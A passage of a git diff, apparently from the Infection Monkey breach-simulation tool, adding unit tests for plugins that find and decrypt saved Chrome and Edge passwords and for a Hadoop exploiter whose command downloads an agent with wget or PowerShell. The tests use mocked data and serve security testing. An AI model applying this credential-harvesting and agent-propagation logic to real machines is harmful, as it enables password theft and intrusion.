+LOGINS_B = [("user3@email.com", b"v10\x1c)\xa9\x10[\x87\xdf(F\xbdMx\x91\x84\xdf\xfc")] +LOGINS_C = [("user4", b"v11pass")] +CREDENTIALS_A = [ + Credentials(identity=Username(username="user1"), secret=Password(password="user1pass")), + Credentials(identity=Username(username="user2"), secret=Password(password="user2pass")), +] +CREDENTIALS_B = [ + Credentials( + identity=EmailAddress(email_address="user3@email.com"), + secret=Password(password="user3pass"), + ) +] +CREDENTIALS_C = [ + Credentials(identity=Username(username="user4"), secret=Password(password="user4pass")) +] +PROFILE_A_PATH = BrowserCredentialsDatabasePath(Path("profile_a"), None) +PROFILE_B_PATH = BrowserCredentialsDatabasePath(Path("profile_b"), None) +PROFILE_C_PATH = BrowserCredentialsDatabasePath(Path("profile_c"), None) + + +@pytest.fixture +def mock_database_reader(): + def get_credentials(database_path): + profile = str(database_path) + if profile == "profile_a": + yield from LOGINS_A + elif profile == "profile_b": + yield from LOGINS_B + elif profile == "profile_c": + yield from LOGINS_C + + return get_credentials + + +@pytest.fixture +def credentials_database_processor(mock_database_reader) -> LinuxCredentialsDatabaseProcessor: + return LinuxCredentialsDatabaseProcessor(mock_database_reader) + + +def test_is_interruptible(credentials_database_processor): + event = Event() + event.set() + credentials = credentials_database_processor(interrupt=event, database_paths=[PROFILE_A_PATH]) + + assert len(credentials) == 0 + + +def test_parses_usernames(credentials_database_processor): + credentials = credentials_database_processor(interrupt=Event(), database_paths=[PROFILE_A_PATH]) + + assert len(credentials) == 2 + for credential in CREDENTIALS_A: + assert credential in credentials + + +def test_parses_email_addresses(credentials_database_processor): + credentials = credentials_database_processor(interrupt=Event(), database_paths=[PROFILE_B_PATH]) + + assert len(credentials) == 1 + assert CREDENTIALS_B[0] in credentials + + +# If we ever add support for password wallets, we'll need to update this. +def test_fails_to_decrypt_wallet_encrypted_passwords(credentials_database_processor): + credentials = credentials_database_processor(interrupt=Event(), database_paths=[PROFILE_C_PATH]) + + assert len(credentials) == 1 + assert credentials[0].identity == CREDENTIALS_C[0].identity + assert credentials[0].secret is None diff --git a/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_linux_credentials_database_selector.py b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_linux_credentials_database_selector.py new file mode 100644 index 00000000000..0898ff8d36f --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_linux_credentials_database_selector.py @@ -0,0 +1,165 @@ +from pathlib import Path +from unittest.mock import MagicMock + +import pytest +from agent_plugins.credentials_collectors.chrome.src.browser_credentials_database_path import ( + BrowserCredentialsDatabasePath, +) + +pwd = pytest.importorskip("pwd") +# we need to check if `pwd` can be imported before importing the selector +from agent_plugins.credentials_collectors.chrome.src.linux_credentials_database_selector import ( # noqa:E402, E501 + DEFAULT_MASTER_KEY, + LinuxCredentialsDatabaseSelector, +) + +USERNAME_1 = "user1" +USERNAME_2 = "user2" + +GOOGLE_CHROME_PATH = ".config/google-chrome" +CHROMIUM_PATH = ".config/chromium" + + +@pytest.fixture +def linux_credentials_database_selector() -> LinuxCredentialsDatabaseSelector: + return LinuxCredentialsDatabaseSelector() + + +def test_linux_selector__pwd_exception(monkeypatch, linux_credentials_database_selector): + mock_pwd = MagicMock() + mock_pwd.getpwall = MagicMock(side_effect=PermissionError) + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src.linux_credentials_database_selector.pwd", + mock_pwd, + ) + + actual_login_database_paths = linux_credentials_database_selector() + assert list(actual_login_database_paths) == [] + + +@pytest.fixture +def place_browser_files(tmp_path): + user_1_dir_chrome = tmp_path / "home" / USERNAME_1 / f"{GOOGLE_CHROME_PATH}/Default" + user_1_dir_chrome.mkdir(parents=True) + (user_1_dir_chrome / "Login Data").touch() + + user_2_dir_chrome = tmp_path / "home" / USERNAME_2 / f"{GOOGLE_CHROME_PATH}/Default" + user_2_dir_chrome.mkdir(parents=True) + (user_2_dir_chrome / "Login Data").touch() + + user_2_dir_chromium = tmp_path / "home" / USERNAME_2 / f"{CHROMIUM_PATH}" + user_2_dir_chromium.mkdir(parents=True) + (user_2_dir_chromium / "Login Data").touch() + + yield + + +@pytest.fixture +def patch_pwd_getpwall(monkeypatch, place_browser_files, tmp_path: Path): + pwd_structs = [ + pwd.struct_passwd( # type: ignore[attr-defined] + [ + USERNAME_1, + "x", + 4, + 65534, + "sync", + tmp_path / f"home/{USERNAME_1}", + "/bin/sync", + ] + ), + pwd.struct_passwd( # type: ignore[attr-defined] + [ + USERNAME_2, + "x", + 4, + 65534, + "sync", + tmp_path / f"home/{USERNAME_2}", + "/bin/sync", + ] + ), + ] + mock_pwd = MagicMock() + mock_pwd.getpwall = MagicMock(return_value=pwd_structs) + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src.linux_credentials_database_selector.pwd", + mock_pwd, + ) + + +@pytest.fixture +def expected_login_database_paths(tmp_path: Path): + return { + BrowserCredentialsDatabasePath( + database_file_path=Path( + f"{tmp_path}/home/{USERNAME_1}/{GOOGLE_CHROME_PATH}/Default/Login Data" + ), + master_key=DEFAULT_MASTER_KEY, + ), + BrowserCredentialsDatabasePath( + database_file_path=Path( + f"{tmp_path}/home/{USERNAME_2}/{GOOGLE_CHROME_PATH}/Default/Login Data" + ), + master_key=DEFAULT_MASTER_KEY, + ), + BrowserCredentialsDatabasePath( + database_file_path=Path(f"{tmp_path}/home/{USERNAME_2}/{CHROMIUM_PATH}/Login Data"), + master_key=DEFAULT_MASTER_KEY, + ), + } + + +def test_linux_credentials_database_selector( + patch_pwd_getpwall, + linux_credentials_database_selector, + expected_login_database_paths, +): + actual_login_database_paths = linux_credentials_database_selector() + + assert len(actual_login_database_paths) == len(expected_login_database_paths) + assert actual_login_database_paths == expected_login_database_paths + + +@pytest.mark.parametrize( + "method, error", + [ + ("exists", PermissionError), + ("exists", OSError), + ], +) +def test_linux_credentials_database_selector__exception( + monkeypatch, patch_pwd_getpwall, linux_credentials_database_selector, error, method +): + def mock_method(path): + raise error() + + monkeypatch.setattr( + f"agent_plugins.credentials_collectors.chrome.src.linux_credentials_database_selector.Path.{method}", # noqa: E501 + mock_method, + ) + actual_login_database_paths = linux_credentials_database_selector() + + assert list(actual_login_database_paths) == [] + + +@pytest.mark.parametrize( + "method, error", + [ + ("glob", PermissionError), + ("glob", OSError), + ], +) +def test_linux_credentials_database_selector__glob_exception( + monkeypatch, patch_pwd_getpwall, linux_credentials_database_selector, error, method +): + def mock_method(pattern, al): + raise error() + + monkeypatch.setattr( + f"agent_plugins.credentials_collectors.chrome.src.linux_credentials_database_selector.Path.{method}", # noqa: E501 + mock_method, + ) + actual_login_database_paths = linux_credentials_database_selector() + + assert list(actual_login_database_paths) == [] diff --git a/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_windows_credentials_database_processor.py b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_windows_credentials_database_processor.py new file mode 100644 index 00000000000..0410237919d --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_windows_credentials_database_processor.py @@ -0,0 +1,172 @@ +import sys +from pathlib import Path +from threading import Event +from unittest.mock import MagicMock + +import pytest +from agent_plugins.credentials_collectors.chrome.src.browser_credentials_database_path import ( + BrowserCredentialsDatabasePath, +) +from tests.utils import get_reference_to_exception_raising_function + +from common.credentials import Credentials, EmailAddress, Password, Username + +LOGINS_A = [("user1", b"password1"), ("user2", b"password2")] +LOGINS_B = [("user3@email.com", b"password3")] +LOGINS_C = [ + ("user4", b"v10blahblahblah~\xf5\xb4)+=\xceH&\x18M\xd9\xf2\x94#\x12\xa7\xbf\xe2\x96\xc5RH\xbco") +] +CREDENTIALS_A = [ + Credentials(identity=Username(username="user1"), secret=Password(password="password1")), + Credentials(identity=Username(username="user2"), secret=Password(password="password2")), +] +CREDENTIALS_B = [ + Credentials( + identity=EmailAddress(email_address="user3@email.com"), + secret=Password(password="password3"), + ) +] +CREDENTIALS_C = [ + Credentials( + identity=Username(username="user4"), + secret=Password(password="password4"), + ) +] +PROFILE_A = BrowserCredentialsDatabasePath(Path("profile_a"), b"master_key") +PROFILE_B = BrowserCredentialsDatabasePath(Path("profile_b"), b"master_key") +PROFILE_C = BrowserCredentialsDatabasePath( + Path("profile_c"), b"\xfdb\x1f\xe5\xa2\xb4\x02S\x9d\xfa\x14|\xa9''x" +) + + +@pytest.fixture(scope="module", autouse=True) +def patch_windows_decryption(): + def mock_win32crypt_unprotect_data(master_key): + return master_key + + windows_decryption = MagicMock() + windows_decryption.win32crypt_unprotect_data = mock_win32crypt_unprotect_data + sys.modules[ + "agent_plugins.credentials_collectors.chrome.src.windows_decryption" + ] = windows_decryption + + +@pytest.fixture +def mock_database_reader(): + def mock_get_logins_from_database(database_path): + profile = str(database_path) + if profile == "profile_a": + yield from LOGINS_A + elif profile == "profile_b": + yield from LOGINS_B + elif profile == "profile_c": + yield from LOGINS_C + + return mock_get_logins_from_database + + +@pytest.fixture +def credentials_database_processor(mock_database_reader): + from agent_plugins.credentials_collectors.chrome.src.windows_credentials_database_processor import ( # noqa: E501 + WindowsCredentialsDatabaseProcessor, + ) + + return WindowsCredentialsDatabaseProcessor(mock_database_reader) + + +def test_extracts_credentials(credentials_database_processor): + credentials = credentials_database_processor(Event(), [PROFILE_A]) + + assert len(credentials) == 2 + for item in CREDENTIALS_A: + assert item in credentials + + +def test_extracts_email_addresses(credentials_database_processor): + credentials = credentials_database_processor(Event(), [PROFILE_B]) + + assert len(credentials) == 1 + assert CREDENTIALS_B[0] in credentials + + +def test_is_interruptible(credentials_database_processor): + interrupt = Event() + interrupt.set() + credentials = credentials_database_processor(interrupt, [PROFILE_A]) + assert len(credentials) == 0 + + +def test_decrypts_password_with_master_key(credentials_database_processor): + credentials = credentials_database_processor(Event(), [PROFILE_C]) + + assert len(credentials) == 1 + assert CREDENTIALS_C[0] in credentials + + +def test_username_credential_saved_if_decrypt_password_fails(credentials_database_processor): + credentials_database_processor._decrypt_password = lambda *_: None + + credentials = credentials_database_processor(Event(), [PROFILE_C]) + expected_credentials = [Credentials(identity=CREDENTIALS_C[0].identity)] + + assert len(credentials) == 1 + assert expected_credentials == credentials + + +def test_username_credential_saved_if_win32crypt_unprotect_data_fails( + monkeypatch, credentials_database_processor +): + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src." + "windows_credentials_database_processor.win32crypt_unprotect_data", + get_reference_to_exception_raising_function(Exception), + ) + + credentials = credentials_database_processor(Event(), [PROFILE_B]) + expected_credentials = [Credentials(identity=CREDENTIALS_B[0].identity)] + + assert len(credentials) == 1 + assert expected_credentials == credentials + + +def test_username_credential_saved_if_decrypted_password_is_empty( + monkeypatch, credentials_database_processor +): + mocked_decrypt_v80 = MagicMock(return_value="") + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src." + "windows_credentials_database_processor.decrypt_v80", + mocked_decrypt_v80, + ) + + credentials = credentials_database_processor(Event(), [PROFILE_C]) + expected_credentials = [Credentials(identity=CREDENTIALS_C[0].identity)] + + assert len(credentials) == 1 + assert expected_credentials == credentials + + +def test_username_credential_saved_if_error_decrypting_password( + monkeypatch, credentials_database_processor +): + mocked_decrypt_v80 = MagicMock(side_effect=ValueError) + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src." + "windows_credentials_database_processor.decrypt_v80", + mocked_decrypt_v80, + ) + + credentials = credentials_database_processor(Event(), [PROFILE_C]) + expected_credentials = [Credentials(identity=CREDENTIALS_C[0].identity)] + + assert len(credentials) == 1 + assert expected_credentials == credentials + + +def test_fails_to_extract_credentials_if_master_key_is_none(credentials_database_processor): + profile = BrowserCredentialsDatabasePath(PROFILE_C.database_file_path, None) + credentials = credentials_database_processor(Event(), [profile]) + + assert len(credentials) == 1 + for item in credentials: + assert item.secret is None diff --git a/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_windows_credentials_database_selector.py b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_windows_credentials_database_selector.py new file mode 100644 index 00000000000..13b27945fac --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_windows_credentials_database_selector.py @@ -0,0 +1,256 @@ +import base64 +import json +import sys +from copy import deepcopy +from pathlib import Path +from unittest.mock import MagicMock + +import pytest +from agent_plugins.credentials_collectors.chrome.src.browser_credentials_database_path import ( + BrowserCredentialsDatabasePath, +) +from tests.utils import get_reference_to_exception_raising_function + +EDGE_DECRYPTED_MASTER_KEY = b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +EDGE_MASTER_KEY = b"DPAPI\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +EDGE_LOCAL_STATE = { + "profile": {"info_cache": {"Default": {}}}, + "os_crypt": {"encrypted_key": base64.b64encode(EDGE_MASTER_KEY).decode()}, +} +CHROME_DECRYPTED_MASTER_KEY = b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +CHROME_MASTER_KEY = b"DPAPI\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +CHROME_LOCAL_STATE = { + "profile": {"info_cache": {"Default": {}}}, + "os_crypt": {"encrypted_key": base64.b64encode(CHROME_MASTER_KEY).decode()}, +} + + +class MockChromeAppDataDir: + def __init__(self, path): + self._path = path + + def add_browser_data_dir(self, data_dir_path): + data_dir = self._path / data_dir_path + data_dir.mkdir(parents=True) + + return MockChromeBrowserDataDir(data_dir) + + +class MockChromeBrowserDataDir: + def __init__(self, path): + self._path = path + + def with_local_state(self, local_state): + with open(self._path / "Local State", "w") as file: + json.dump(local_state, file) + + return self + + def with_profile(self, profile_name, create_database=True): + profile_dir = self._path / profile_name + profile_dir.mkdir() + + if create_database: + Path(profile_dir / "Login Data").touch() + + return self + + +@pytest.fixture +def mock_appdata_dir(setup_appdata_dir): + def build_appdata_dir(appdata_dir_builder): + ( + appdata_dir_builder.add_browser_data_dir("Microsoft/Edge/User Data") + .with_local_state(EDGE_LOCAL_STATE) + .with_profile("Default") + ) + ( + appdata_dir_builder.add_browser_data_dir("Google/Chrome/User Data") + .with_local_state(CHROME_LOCAL_STATE) + .with_profile("Default") + ) + + return setup_appdata_dir(build_appdata_dir) + + +@pytest.fixture +def mock_appdata_dir_with_no_master_key(setup_appdata_dir): + edge_local_state_no_master_key = deepcopy(EDGE_LOCAL_STATE) + edge_local_state_no_master_key["os_crypt"]["encrypted_key"] = None + chrome_local_state_no_master_key = deepcopy(CHROME_LOCAL_STATE) + chrome_local_state_no_master_key["os_crypt"]["encrypted_key"] = None + + def build_appdata_dir(appdata_dir_builder): + ( + appdata_dir_builder.add_browser_data_dir("Microsoft/Edge/User Data") + .with_local_state(edge_local_state_no_master_key) + .with_profile("Default") + ) + ( + appdata_dir_builder.add_browser_data_dir("Google/Chrome/User Data") + .with_local_state(chrome_local_state_no_master_key) + .with_profile("Default") + ) + + return setup_appdata_dir(build_appdata_dir) + + +@pytest.fixture +def mock_appdata_dir_with_no_databases(setup_appdata_dir): + def build_appdata_dir(appdata_dir_builder): + ( + appdata_dir_builder.add_browser_data_dir("Microsoft/Edge/User Data") + .with_local_state(EDGE_LOCAL_STATE) + .with_profile("Default", create_database=False) + ) + ( + appdata_dir_builder.add_browser_data_dir("Google/Chrome/User Data") + .with_local_state(CHROME_LOCAL_STATE) + .with_profile("Default", create_database=False) + ) + + return setup_appdata_dir(build_appdata_dir) + + +@pytest.fixture +def mock_appdata_dir_with_no_profile_dirs(setup_appdata_dir): + def build_appdata_dir(appdata_dir_builder): + appdata_dir_builder.add_browser_data_dir("Microsoft/Edge/User Data").with_local_state( + EDGE_LOCAL_STATE + ) + appdata_dir_builder.add_browser_data_dir("Google/Chrome/User Data").with_local_state( + CHROME_LOCAL_STATE + ) + + return setup_appdata_dir(build_appdata_dir) + + +@pytest.fixture +def setup_appdata_dir(monkeypatch, tmp_path): + def inner(build_appdata_dir): + appdata_dir = tmp_path / "appdata" + appdata_dir.mkdir() + + appdata_dir_builder = MockChromeAppDataDir(appdata_dir) + build_appdata_dir(appdata_dir_builder) + + monkeypatch.setenv("LOCALAPPDATA", str(appdata_dir)) + + return appdata_dir + + return inner + + +@pytest.fixture(scope="module", autouse=True) +def patch_windows_decryption(): + def mock_win32crypt_unprotect_data(master_key): + return master_key + + windows_decryption = MagicMock() + windows_decryption.win32crypt_unprotect_data = mock_win32crypt_unprotect_data + sys.modules[ + "agent_plugins.credentials_collectors.chrome.src.windows_decryption" + ] = windows_decryption + + +@pytest.fixture +def database_selector(): + from agent_plugins.credentials_collectors.chrome.src.windows_credentials_database_selector import ( # noqa: E501 + WindowsCredentialsDatabaseSelector, + ) + + return WindowsCredentialsDatabaseSelector() + + +def test__finds_databases(mock_appdata_dir, database_selector): + databases = database_selector() + + expected_edge_database = BrowserCredentialsDatabasePath( + mock_appdata_dir / "Microsoft" / "Edge" / "User Data" / "Default" / "Login Data", + EDGE_DECRYPTED_MASTER_KEY, + ) + expected_chrome_database = BrowserCredentialsDatabasePath( + mock_appdata_dir / "Google" / "Chrome" / "User Data" / "Default" / "Login Data", + CHROME_DECRYPTED_MASTER_KEY, + ) + assert len(databases) == 2 + assert expected_edge_database in databases + assert expected_chrome_database in databases + + +def test__outputs_none_if_no_master_key(mock_appdata_dir_with_no_master_key, database_selector): + databases = database_selector() + + expected_edge_database = BrowserCredentialsDatabasePath( + mock_appdata_dir_with_no_master_key + / "Microsoft" + / "Edge" + / "User Data" + / "Default" + / "Login Data", + None, + ) + expected_chrome_database = BrowserCredentialsDatabasePath( + mock_appdata_dir_with_no_master_key + / "Google" + / "Chrome" + / "User Data" + / "Default" + / "Login Data", + None, + ) + assert len(databases) == 2 + assert expected_edge_database in databases + assert expected_chrome_database in databases + + +def test__outputs_none_if_master_key_decryption_throws_exception( + monkeypatch, mock_appdata_dir, database_selector +): + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src." + "windows_credentials_database_selector.win32crypt_unprotect_data", + get_reference_to_exception_raising_function(Exception), + ) + + databases = database_selector() + + expected_edge_database = BrowserCredentialsDatabasePath( + mock_appdata_dir / "Microsoft" / "Edge" / "User Data" / "Default" / "Login Data", + None, + ) + expected_chrome_database = BrowserCredentialsDatabasePath( + mock_appdata_dir / "Google" / "Chrome" / "User Data" / "Default" / "Login Data", + None, + ) + assert len(databases) == 2 + assert expected_edge_database in databases + assert expected_chrome_database in databases + + +@pytest.mark.usefixtures("mock_appdata_dir_with_no_databases") +def test__outputs_empty_collection_if_no_databases(database_selector): + databases = database_selector() + + assert len(databases) == 0 + + +@pytest.mark.usefixtures("mock_appdata_dir_with_no_profile_dirs") +def test__outputs_empty_collection_if_no_profiles(database_selector): + databases = database_selector() + + assert len(databases) == 0 + + +def test__outputs_empty_if_local_data_object_creation_throws_exception( + monkeypatch, database_selector +): + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src." + "windows_credentials_database_selector.create_windows_chrome_browser_local_data", + get_reference_to_exception_raising_function(Exception), + ) + + databases = database_selector() + + assert len(databases) == 0 diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_command_builder.py new file mode 100644 index 00000000000..5a971c1d8a7 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_command_builder.py @@ -0,0 +1,59 @@ +from ipaddress import IPv4Address + +import pytest +from agent_plugins.exploiters.hadoop.src.hadoop_command_builder import build_hadoop_command + +from common import OperatingSystem +from infection_monkey.i_puppet import TargetHost +from infection_monkey.model import MONKEY_ARG +from infection_monkey.utils.ids import get_agent_id + +AGENT_ID = get_agent_id() +SERVERS = ["192.168.1.100", "172.1.2.3"] +DEPTH = 2 +AGENT_DESTINATION_PATH = "/tmp" +AGENT_DOWNLOAD_URL = "http://download.here" +OTP = "123456" + + +@pytest.fixture +def build_command(): + def build(host: TargetHost) -> str: + return build_hadoop_command( + AGENT_ID, + host, + SERVERS, + DEPTH, + AGENT_DESTINATION_PATH, + AGENT_DOWNLOAD_URL, + OTP, + ) + + return build + + +def test_command__linux(build_command): + command = build_command( + host=TargetHost(ip=IPv4Address("127.0.0.1"), operating_system=OperatingSystem.LINUX) + ) + + assert "wget" in command + assert str(AGENT_DOWNLOAD_URL) in command + assert MONKEY_ARG in command + assert str(AGENT_ID) in command + assert all([server in command for server in SERVERS]) + assert str(DEPTH + 1) in command + assert OTP in command + + +@pytest.mark.parametrize("os", [OperatingSystem.WINDOWS, None]) +def test_command__windows(build_command, os): + command = build_command(host=TargetHost(ip=IPv4Address("127.0.0.1"), operating_system=os)) + + assert "powershell" in command + assert str(AGENT_DOWNLOAD_URL) in command + assert MONKEY_ARG in command + assert str(AGENT_ID) in command + assert all([server in command for server in SERVERS]) + assert str(DEPTH + 1) in command + assert OTP in command diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py index 74d856fc325..49fb26c47d2 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py @@ -10,10 +10,14 @@ from common import OperatingSystem from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.exploit.tools import HTTPBytesServer +from infection_monkey.exploit import ( + AgentBinaryDownloadTicket, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, + ReservationID, +) from infection_monkey.i_puppet import ( - ExploiterResultData, + ExploiterResult, PortScanData, PortScanDataDict, TargetHost, @@ -60,15 +64,6 @@ def target_host(request) -> TargetHost: return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=request.param) -@pytest.fixture -def mock_bytes_server() -> HTTPBytesServer: - mock_bytes_server = MagicMock(spec=HTTPBytesServer) - mock_bytes_server.download_url = DOWNLOAD_URL - mock_bytes_server.bytes_downloaded = Event() - mock_bytes_server.bytes_downloaded.set() - return mock_bytes_server - - @pytest.fixture def mock_hadoop_exploit_client() -> HadoopExploitClient: mock_hadoop_exploit_client = MagicMock() @@ -77,8 +72,20 @@ def mock_hadoop_exploit_client() -> HadoopExploitClient: @pytest.fixture -def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer: - return MagicMock(return_value=mock_bytes_server) +def mock_http_agent_binary_server_registrar() -> IHTTPAgentBinaryServerRegistrar: + http_agent_binary_server_registrar = MagicMock() + download_completed = Event() + download_completed.set() + + agent_binary_request = AgentBinaryDownloadTicket( + id=ReservationID("8f53f4fb-2d33-465a-aa9c-de704a7e42b3"), + download_url=DOWNLOAD_URL, + download_completed=download_completed, + ) + + http_agent_binary_server_registrar.reserve_download.return_value = agent_binary_request + + return http_agent_binary_server_registrar @pytest.fixture @@ -91,19 +98,22 @@ def mock_otp_provider(): @pytest.fixture def hadoop_exploiter( mock_hadoop_exploit_client: HadoopExploitClient, - mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer], + mock_http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, mock_otp_provider: IAgentOTPProvider, ) -> HadoopExploiter: return HadoopExploiter( - AGENT_ID, mock_hadoop_exploit_client, mock_start_agent_binary_server, mock_otp_provider + AGENT_ID, + mock_hadoop_exploit_client, + mock_http_agent_binary_server_registrar, + mock_otp_provider, ) @pytest.fixture def exploit_host( hadoop_exploiter: HadoopExploiter, target_host: TargetHost -) -> Callable[[], ExploiterResultData]: - def _inner() -> ExploiterResultData: +) -> Callable[[], ExploiterResult]: + def _inner() -> ExploiterResult: return hadoop_exploiter.exploit_host( target_host=target_host, servers=SERVERS, @@ -115,35 +125,37 @@ def _inner() -> ExploiterResultData: return _inner -def test_exploit_host__succeeds(exploit_host, mock_hadoop_exploit_client, mock_bytes_server): +def test_exploit_host__succeeds( + exploit_host, mock_hadoop_exploit_client, mock_http_agent_binary_server_registrar +): mock_hadoop_exploit_client.exploit.return_value = (True, True) result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert result.exploitation_success assert result.propagation_success def test_exploit_host__fails_if_server_fails_to_start( - exploit_host, mock_start_agent_binary_server, mock_bytes_server + exploit_host, mock_http_agent_binary_server_registrar ): - mock_start_agent_binary_server.side_effect = Exception() + mock_http_agent_binary_server_registrar.reserve_download.side_effect = Exception() result = exploit_host() - assert not mock_bytes_server.stop.called + assert not mock_http_agent_binary_server_registrar.clear_reservation.called assert not result.exploitation_success assert not result.propagation_success def test_exploit_host__success_returned_on_server_stop_fail( - exploit_host, mock_hadoop_exploit_client, mock_bytes_server + exploit_host, mock_hadoop_exploit_client, mock_http_agent_binary_server_registrar ): mock_hadoop_exploit_client.exploit.return_value = (True, True) - mock_bytes_server.stop.side_effect = Exception() + mock_http_agent_binary_server_registrar.clear_reservation.side_effect = Exception() result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert result.exploitation_success assert result.propagation_success @@ -164,12 +176,12 @@ def test_exploit_host__fails_when_no_target_ports( def test_exploit_host__fails_on_hadoop_exception( - mock_hadoop_exploit_client, exploit_host, mock_bytes_server + mock_hadoop_exploit_client, exploit_host, mock_http_agent_binary_server_registrar ): mock_hadoop_exploit_client.exploit.side_effect = Exception() result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert not result.exploitation_success assert not result.propagation_success diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py index d875f9e2469..06e25c1d678 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py @@ -8,29 +8,29 @@ from agent_plugins.exploiters.hadoop.src.plugin import Plugin from common import OperatingSystem -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") BAD_HADOOP_OPTIONS_DICT = {"blah": "blah"} TARGET_IP = IPv4Address("1.1.1.1") TARGET_HOST = TargetHost(ip=TARGET_IP, operating_system=OperatingSystem.WINDOWS) SERVERS = ["10.10.10.10"] -EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") class MockHadoopExploiter(HadoopExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: - return EXPLOITER_RESULT_DATA + def exploit_host(self, *args, **kwargs) -> ExploiterResult: + return EXPLOITER_RESULT class ErrorRaisingMockHadoopExploiter(HadoopExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + def exploit_host(self, *args, **kwargs) -> ExploiterResult: raise Exception("Test error") @@ -43,9 +43,8 @@ def plugin(monkeypatch) -> Plugin: return Plugin( plugin_name="Hadoop", agent_id=AGENT_ID, + http_agent_binary_server_registrar=MagicMock(), agent_event_publisher=MagicMock(), - agent_binary_repository=MagicMock(), - tcp_port_selector=MagicMock(), otp_provider=MagicMock(), ) @@ -63,7 +62,7 @@ def test_run__fails_on_bad_options(plugin: Plugin): assert not result.propagation_success -def test_run__returns_exploiter_result_data(plugin: Plugin): +def test_run__returns_exploiter_result(plugin: Plugin): result = plugin.run( host=TARGET_HOST, servers=SERVERS, @@ -72,7 +71,7 @@ def test_run__returns_exploiter_result_data(plugin: Plugin): interrupt=Event(), ) - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__exploit_host_raises_exception(monkeypatch, plugin: Plugin): @@ -84,9 +83,8 @@ def test_run__exploit_host_raises_exception(monkeypatch, plugin: Plugin): plugin = Plugin( plugin_name="Hadoop", agent_id=AGENT_ID, + http_agent_binary_server_registrar=MagicMock(), agent_event_publisher=MagicMock(), - agent_binary_repository=MagicMock(), - tcp_port_selector=MagicMock(), otp_provider=MagicMock(), ) result = plugin.run( diff --git a/monkey/infection_monkey/payload/__init__.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/__init__.py similarity index 100% rename from monkey/infection_monkey/payload/__init__.py rename to monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/__init__.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/log4shell_utils/test_exploit_builder.py similarity index 86% rename from monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py rename to monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/log4shell_utils/test_exploit_builder.py index 01d4f61c455..ca417ee7958 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/log4shell_utils/test_exploit_builder.py @@ -1,7 +1,6 @@ import pytest - -from infection_monkey.exploit.log4shell_utils import ( - LINUX_EXPLOIT_TEMPLATE_PATH, +from agent_plugins.exploiters.log4shell.src import LINUX_EXPLOIT_TEMPLATE_PATH +from agent_plugins.exploiters.log4shell.src.exploit_builder import ( InvalidExploitTemplateError, 